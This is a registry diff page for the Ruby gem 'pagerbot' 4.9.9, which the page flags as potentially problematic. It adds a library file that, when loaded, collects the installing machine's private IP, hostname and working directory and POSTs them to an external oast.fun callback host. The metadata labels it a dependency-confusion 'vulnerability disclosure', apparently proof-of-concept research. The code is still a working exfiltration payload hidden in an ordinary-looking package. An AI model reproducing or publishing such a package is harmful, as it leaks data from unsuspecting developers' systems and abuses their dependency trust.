pagerbot 4.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pagerbot might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/pagerbot.rb +31 -0
- metadata +43 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: ba3af1860971929fe140a688415d615a83a4523b47ec10c746217563062533dd
|
4
|
+
data.tar.gz: f7325600faf5e4b24fd35831bc35e4f8dbedf0682b516d8027c7f4f4d5dfb4fa
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: b8edcfcee59d7c987d2fb92eaa5c037bcdd47e106bc747bc276cb485dca586efc02686f1d96418d18f3cd5f3d823172bc959f0518935bfdf7a7011c47ea9b8ea
|
7
|
+
data.tar.gz: da5061c8d49ffe6b702b664e8b3af4034f63cd65cf9a1523ce43d516d5df8af82420d3cec6ebafc1943fa3fb5391ab277dae4c535476741c2c073cb37b5fed0a
|
data/lib/pagerbot.rb
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
module pagerbot
|
2
|
+
|
3
|
+
require 'json'
|
4
|
+
require 'net/http'
|
5
|
+
require 'socket'
|
6
|
+
|
7
|
+
#Private IP
|
8
|
+
privip = UDPSocket.open {|s| s.connect("64.233.187.99", 1);
|
9
|
+
s.addr.last}
|
10
|
+
#Hostname
|
11
|
+
hostname = Socket.gethostname
|
12
|
+
#Current directory
|
13
|
+
dir = Dir.pwd
|
14
|
+
|
15
|
+
#Pubcli bin url:- https://pipedream.com OR burpCollaborate url
|
16
|
+
uri = URI('https://ck073ge2vtc0000r9s2ggjodtaryyyyyb.oast.fun')
|
17
|
+
req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
|
18
|
+
|
19
|
+
req.body = {
|
20
|
+
private_ip: privip,
|
21
|
+
hostname: hostname,
|
22
|
+
current_directory: dir
|
23
|
+
}.to_json
|
24
|
+
|
25
|
+
Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme ==
|
26
|
+
'https') do |http|
|
27
|
+
http.request(req)
|
28
|
+
end
|
29
|
+
|
30
|
+
end
|
31
|
+
|
metadata
ADDED
@@ -0,0 +1,43 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: pagerbot
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 4.9.9
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- "<bytets>"
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2023-08-06 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: "This Ruby package vulnerable to dependency confiuse \nvulnerability"
|
14
|
+
email: "<techghoshal@gmail.com>"
|
15
|
+
executables: []
|
16
|
+
extensions: []
|
17
|
+
extra_rdoc_files: []
|
18
|
+
files:
|
19
|
+
- lib/pagerbot.rb
|
20
|
+
homepage: https://rubygems.org/gems/pagerbot
|
21
|
+
licenses:
|
22
|
+
- MIT
|
23
|
+
metadata: {}
|
24
|
+
post_install_message:
|
25
|
+
rdoc_options: []
|
26
|
+
require_paths:
|
27
|
+
- lib
|
28
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
29
|
+
requirements:
|
30
|
+
- - ">="
|
31
|
+
- !ruby/object:Gem::Version
|
32
|
+
version: '0'
|
33
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
34
|
+
requirements:
|
35
|
+
- - ">="
|
36
|
+
- !ruby/object:Gem::Version
|
37
|
+
version: '0'
|
38
|
+
requirements: []
|
39
|
+
rubygems_version: 3.0.3.1
|
40
|
+
signing_key:
|
41
|
+
specification_version: 4
|
42
|
+
summary: 'Vulnerability Disclosure: Dependency confiuse vulnerability'
|
43
|
+
test_files: []
|